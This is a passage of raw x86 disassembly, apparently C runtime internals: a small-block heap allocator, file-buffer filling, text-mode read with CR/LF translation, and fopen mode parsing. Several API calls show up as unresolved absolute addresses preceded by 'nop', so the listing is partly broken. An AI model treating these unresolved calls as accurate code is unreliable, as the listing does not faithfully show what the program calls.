loc_41F547:				; CODE XREF: sub_41F50E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F56A
		cmp	[edi+4], ebx
		jbe	short loc_41F56A
		push	ebx
		push	ecx
		push	eax
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41F56A:				; CODE XREF: sub_41F50E+40j
					; sub_41F50E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F547
		jmp	short loc_41F584
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F50E+37j
		mov	ebx, [ebp+arg_0]


loc_41F584:				; CODE XREF: sub_41F50E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F5CA


loc_41F597:				; CODE XREF: sub_41F50E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F5B6
		cmp	[edi+4], ebx
		jbe	short loc_41F5B6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	[edi+4], ebx


loc_41F5B6:				; CODE XREF: sub_41F50E+8Dj
					; sub_41F50E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F597
		jmp	short loc_41F5CA
; ---------------------------------------------------------------------------


loc_41F5C7:				; CODE XREF: sub_41F50E+14j
		mov	ebx, [ebp+arg_0]


loc_41F5CA:				; CODE XREF: sub_41F50E+87j
					; sub_41F50E+B7j
		mov	esi, [esi]
		cmp	esi, off_43CE70
		jz	short loc_41F5E9
		jmp	loc_41F51C
; ---------------------------------------------------------------------------


loc_41F5D9:				; CODE XREF: sub_41F50E+54j
					; sub_41F50E+A3j
		mov	off_43CE70, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F711
; ---------------------------------------------------------------------------


loc_41F5E9:				; CODE XREF: sub_41F50E+C4j
		mov	eax, offset off_43AE50
		mov	edi, eax


loc_41F5F0:				; CODE XREF: sub_41F50E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F5FC
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F608


loc_41F5FC:				; CODE XREF: sub_41F50E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F6DD
		jmp	short loc_41F5F0
; ---------------------------------------------------------------------------


loc_41F608:				; CODE XREF: sub_41F50E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F637


loc_41F626:				; CODE XREF: sub_41F50E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F637
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F626


loc_41F637:				; CODE XREF: sub_41F50E+116j
					; sub_41F50E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 2670D21h
		cmp	eax, esi
		jnz	loc_41F70F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BF70
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F69E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41F674:				; CODE XREF: sub_41F50E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F674


loc_41F69E:				; CODE XREF: sub_41F50E+15Ej
		mov	off_43CE70, edi
		lea	eax, [edi+2018h]


loc_41F6AA:				; CODE XREF: sub_41F50E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F6BA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F6B8
		add	ecx, 8
		jmp	short loc_41F6AA
; ---------------------------------------------------------------------------


loc_41F6B8:				; CODE XREF: sub_41F50E+1A3j
		cmp	ecx, eax


loc_41F6BA:				; CODE XREF: sub_41F50E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F6DD:				; CODE XREF: sub_41F50E+F2j
		call	sub_41F216
		test	eax, eax
		jz	short loc_41F70F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43CE70, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F70F:				; CODE XREF: sub_41F50E+143j
					; sub_41F50E+1D6j
		xor	eax, eax


loc_41F711:				; CODE XREF: sub_41F50E+D6j
					; sub_41F50E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F716	proc near		; CODE XREF: sub_41F50E+4Ap
					; sub_41F50E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F75B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F74A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F753
; ---------------------------------------------------------------------------


loc_41F74A:				; CODE XREF: sub_41F716+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F753:				; CODE XREF: sub_41F716+32j
		lea	eax, [edi+8]
		jmp	loc_41F829
; ---------------------------------------------------------------------------


loc_41F75B:				; CODE XREF: sub_41F716+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F764
		mov	eax, esi


loc_41F764:				; CODE XREF: sub_41F716+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F7AE


loc_41F76B:				; CODE XREF: sub_41F716+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F7A1
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F777:				; CODE XREF: sub_41F716+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F780
		inc	ebx
		inc	esi
		jmp	short loc_41F777
; ---------------------------------------------------------------------------


loc_41F780:				; CODE XREF: sub_41F716+64j
		cmp	esi, edx
		jnb	short loc_41F7D2
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F78E
		mov	[ecx+4], esi
		jmp	short loc_41F79A
; ---------------------------------------------------------------------------


loc_41F78E:				; CODE XREF: sub_41F716+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F833


loc_41F79A:				; CODE XREF: sub_41F716+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F7A6
; ---------------------------------------------------------------------------


loc_41F7A1:				; CODE XREF: sub_41F716+59j
		movzx	esi, bl
		add	eax, esi


loc_41F7A6:				; CODE XREF: sub_41F716+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F76B


loc_41F7AE:				; CODE XREF: sub_41F716+53j
		lea	esi, [ecx+8]


loc_41F7B1:				; CODE XREF: sub_41F716+EBj
					; sub_41F716+F2j
		cmp	esi, edi
		jnb	short loc_41F833
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F833
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F803
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F7C9:				; CODE XREF: sub_41F716+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F7F3
		inc	ebx
		inc	eax
		jmp	short loc_41F7C9
; ---------------------------------------------------------------------------


loc_41F7D2:				; CODE XREF: sub_41F716+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F7E3
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F7EC
; ---------------------------------------------------------------------------


loc_41F7E3:				; CODE XREF: sub_41F716+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F7EC:				; CODE XREF: sub_41F716+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F7F3:				; CODE XREF: sub_41F716+B6j
		cmp	eax, edx
		jnb	short loc_41F80A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F833
		mov	esi, ebx
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F803:				; CODE XREF: sub_41F716+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F80A:				; CODE XREF: sub_41F716+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F81B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F824
; ---------------------------------------------------------------------------


loc_41F81B:				; CODE XREF: sub_41F716+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F824:				; CODE XREF: sub_41F716+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F829:				; CODE XREF: sub_41F716+40j
					; sub_41F716+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F835
; ---------------------------------------------------------------------------


loc_41F833:				; CODE XREF: sub_41F716+7Ej
					; sub_41F716+9Dj ...
		xor	eax, eax


loc_41F835:				; CODE XREF: sub_41F716+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F83A	proc near		; CODE XREF: sub_41BBE2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F874
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F8D4
; ---------------------------------------------------------------------------


loc_41F874:				; CODE XREF: sub_41F83A+26j
		jnb	short loc_41F8DB
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F8DB
		lea	eax, [ecx+edx]


loc_41F889:				; CODE XREF: sub_41F83A+59j
		cmp	eax, esi
		jnb	short loc_41F897
		cmp	byte ptr [eax],	0
		jnz	short loc_41F895
		inc	eax
		jmp	short loc_41F889
; ---------------------------------------------------------------------------


loc_41F895:				; CODE XREF: sub_41F83A+56j
		cmp	eax, esi


loc_41F897:				; CODE XREF: sub_41F83A+51j
		jnz	short loc_41F8DB
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F8CF
		cmp	esi, eax
		jbe	short loc_41F8CF
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F8C6
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F8C1


loc_41F8BA:				; CODE XREF: sub_41F83A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F8BA


loc_41F8C1:				; CODE XREF: sub_41F83A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F8CF
; ---------------------------------------------------------------------------


loc_41F8C6:				; CODE XREF: sub_41F83A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F8CF:				; CODE XREF: sub_41F83A+68j
					; sub_41F83A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F8D4:				; CODE XREF: sub_41F83A+38j
		mov	[ebp+var_4], 1


loc_41F8DB:				; CODE XREF: sub_41F83A:loc_41F874j
					; sub_41F83A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F83A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8E3	proc near		; CODE XREF: sub_41BAFA+A9p
					; sub_41C52F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F9B7
		test	al, 40h
		jnz	loc_41F9B7
		test	al, 2
		jz	short loc_41F909
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F9B7
; ---------------------------------------------------------------------------


loc_41F909:				; CODE XREF: sub_41F8E3+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F91D
		push	esi
		call	sub_4241F7
		pop	ecx
		jmp	short loc_41F922
; ---------------------------------------------------------------------------


loc_41F91D:				; CODE XREF: sub_41F8E3+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F922:				; CODE XREF: sub_41F8E3+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F9A6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F9A6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F97B
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F964
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DD040[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F969
; ---------------------------------------------------------------------------


loc_41F964:				; CODE XREF: sub_41F8E3+6Bj
		mov	edi, offset dword_43D4D0


loc_41F969:				; CODE XREF: sub_41F8E3+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F97B
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F97B:				; CODE XREF: sub_41F8E3+62j
					; sub_41F8E3+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F998
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F998
		test	ch, 4
		jnz	short loc_41F998
		mov	dword ptr [esi+18h], 1000h


loc_41F998:				; CODE XREF: sub_41F8E3+9Fj
					; sub_41F8E3+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F9A6:				; CODE XREF: sub_41F8E3+55j
					; sub_41F8E3+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F9B7:				; CODE XREF: sub_41F8E3+Aj
					; sub_41F8E3+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F8E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9BC	proc near		; CODE XREF: sub_41BAFA+90p
					; sub_41F8E3+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DD140
		jnb	loc_41FB99
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DD040h[eax*4]
		mov	eax, dword_4DD040[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41FB99
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41FA71
		test	dl, 2
		jnz	short loc_41FA71
		test	dl, 48h
		jz	short loc_41FA31
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41FA31
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41FA31:				; CODE XREF: sub_41F9BC+56j
					; sub_41F9BC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2711089h
		test	eax, eax
		jnz	short loc_41FA84
		nop
		call	near ptr 26A096Ch
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41FA6C
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA6C:				; CODE XREF: sub_41F9BC+99j
		cmp	eax, 6Dh
		jnz	short loc_41FA78


loc_41FA71:				; CODE XREF: sub_41F9BC+4Cj
					; sub_41F9BC+51j
		xor	eax, eax
		jmp	loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FA78:				; CODE XREF: sub_41F9BC+B3j
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F9BC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41FB94
		test	edx, edx
		jz	short loc_41FAA9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41FAA9
		or	al, 4
		jmp	short loc_41FAAB
; ---------------------------------------------------------------------------


loc_41FAA9:				; CODE XREF: sub_41F9BC+E2j
					; sub_41F9BC+E7j
		and	al, 0FBh


loc_41FAAB:				; CODE XREF: sub_41F9BC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41FB8E


loc_41FAC3:				; CODE XREF: sub_41F9BC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41FB7E
		cmp	al, 0Dh
		jz	short loc_41FADF
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41FB70
; ---------------------------------------------------------------------------


loc_41FADF:				; CODE XREF: sub_41F9BC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41FAFD
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41FAF4
		add	[ebp+arg_8], 2
		jmp	short loc_41FB52
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F9BC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FAFD:				; CODE XREF: sub_41F9BC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2711089h
		test	eax, eax
		jnz	short loc_41FB25
		call	near ptr 26A096Ch
		nop
		test	eax, eax
		jnz	short loc_41FB6C


loc_41FB25:				; CODE XREF: sub_41F9BC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41FB6C
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41FB47
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41FB52
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F9BC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41FB57
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41FB57


loc_41FB52:				; CODE XREF: sub_41F9BC+136j
					; sub_41F9BC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------


loc_41FB57:				; CODE XREF: sub_41F9BC+18Ej
					; sub_41F9BC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422F09
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41FB70


loc_41FB6C:				; CODE XREF: sub_41F9BC+167j
					; sub_41F9BC+16Dj
		mov	byte ptr [edi],	0Dh


loc_41FB6F:				; CODE XREF: sub_41F9BC+199j
		inc	edi


loc_41FB70:				; CODE XREF: sub_41F9BC+11Ej
					; sub_41F9BC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41FAC3
		jmp	short loc_41FB8E
; ---------------------------------------------------------------------------


loc_41FB7E:				; CODE XREF: sub_41F9BC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41FB8E
		or	al, 2
		mov	[esi], al


loc_41FB8E:				; CODE XREF: sub_41F9BC+101j
					; sub_41F9BC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41FB94:				; CODE XREF: sub_41F9BC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FB99:				; CODE XREF: sub_41F9BC+12j
					; sub_41F9BC+39j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41FBAA:				; CODE XREF: sub_41F9BC+ABj
					; sub_41F9BC+C3j
		or	eax, 0FFFFFFFFh


loc_41FBAD:				; CODE XREF: sub_41F9BC+B7j
					; sub_41F9BC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBB2	proc near		; CODE XREF: sub_41BBE2+126p
					; sub_41BBE2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DBE44
		test	eax, eax
		jz	short loc_41FBCA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41FBCA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FBCA:				; CODE XREF: sub_41FBB2+7j
					; sub_41FBB2+12j
		xor	eax, eax
		retn
sub_41FBB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBCD	proc near		; CODE XREF: sub_41BE82+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBFB0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FC06
		cmp	al, 72h
		jz	short loc_41FBFF
		cmp	al, 77h
		jnz	loc_41FD1A
		mov	ecx, 301h
		jmp	short loc_41FC0B
; ---------------------------------------------------------------------------


loc_41FBFF:				; CODE XREF: sub_41FBCD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FC0E
; ---------------------------------------------------------------------------


loc_41FC06:				; CODE XREF: sub_41FBCD+1Dj
		mov	ecx, 109h


loc_41FC0B:				; CODE XREF: sub_41FBCD+30j
		or	esi, 2


loc_41FC0E:				; CODE XREF: sub_41FBCD+37j
		push	1
		pop	edx


loc_41FC11:				; CODE XREF: sub_41FBCD+8Bj
					; sub_41FBCD+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FD00
		cmp	edx, ebx
		jz	loc_41FD00
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FC9F
		jz	short loc_41FC8F
		sub	eax, 2Bh
		jz	short loc_41FC79
		sub	eax, 19h
		jz	short loc_41FC6F
		sub	eax, 0Eh
		jz	short loc_41FC5A
		dec	eax
		jnz	loc_41FCF1
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC5A:				; CODE XREF: sub_41FBCD+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC6F:				; CODE XREF: sub_41FBCD+6Aj
		test	cl, 40h
		jnz	short loc_41FCF1
		or	ecx, 40h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC79:				; CODE XREF: sub_41FBCD+65j
		test	cl, 2
		jnz	short loc_41FCF1
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC8F:				; CODE XREF: sub_41FBCD+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FCF1
		or	ecx, eax
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC9F:				; CODE XREF: sub_41FBCD+5Ej
		sub	eax, 62h
		jz	short loc_41FCEC
		dec	eax
		jz	short loc_41FCD5
		sub	eax, 0Bh
		jz	short loc_41FCBE
		sub	eax, 6
		jnz	short loc_41FCF1
		test	ch, 0C0h
		jnz	short loc_41FCF1
		or	ch, 40h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCBE:				; CODE XREF: sub_41FBCD+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCD5:				; CODE XREF: sub_41FBCD+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCEC:				; CODE XREF: sub_41FBCD+D5j
		test	ch, 0C0h
		jz	short loc_41FCF8


loc_41FCF1:				; CODE XREF: sub_41FBCD+72j
					; sub_41FBCD+7Bj ...
		xor	edx, edx
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FBCD+122j
		or	ch, 80h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FD00:				; CODE XREF: sub_41FBCD+4Aj
					; sub_41FBCD+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42423B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FD1E


loc_41FD1A:				; CODE XREF: sub_41FBCD+25j
		xor	eax, eax
		jmp	short loc_41FD38
; ---------------------------------------------------------------------------


loc_41FD1E:				; CODE XREF: sub_41FBCD+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBFAC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41FD38:				; CODE XREF: sub_41FBCD+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBCD	endp


; =============== S U B	R O U T	I N E =======================================



